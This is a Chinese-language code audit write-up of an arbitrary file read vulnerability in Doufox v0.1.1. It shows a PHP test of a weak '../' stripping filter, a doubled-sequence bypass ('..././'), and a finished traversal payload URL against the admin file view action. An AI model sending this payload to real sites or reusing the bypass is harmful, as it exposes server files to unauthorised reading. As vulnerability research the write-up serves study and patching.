【代码审计】Doufox v0.1.1 任意文件读取 分析
全局搜file_get_contents

FileController.viewAction
可以看到$filename参数可控,直接从get中传入file即可


接下来聚焦这段waf
$filename = str_replace(array('..\\', '../', './', '.\\'), '', trim($filename));就是把../和./给替换为空
可以本地测下
<?php
$input="..././";
$input = str_replace(array('..\\', '../', './', '.\\'), '', trim($input));
echo "\n".$input;$input="..././..././";
$input = str_replace(array('..\\', '../', './', '.\\'), '', trim($input));
echo "\n".$input;$input="..././..././/";
$input = str_replace(array('..\\', '../', './', '.\\'), '', trim($input));
echo "\n".$input."\n";
其实特别好构造,一个普通的双写绕过..././被解析为.
那就用两次,再加上个/就可以成功构造../

接下来看怎么去调用FileController.viewAction
先随便点点功能,显然是个MVC框架

s对应namespace,c对应Controller,a对应Action

所以这么传就行:?s=admin&c=file&a=view

在根目录创建个leak.txt,内容为:

最终payload:
index.php?s=admin&c=File&a=view&file=..././..././/..././..././/..././..././/..././..././/leak.txt


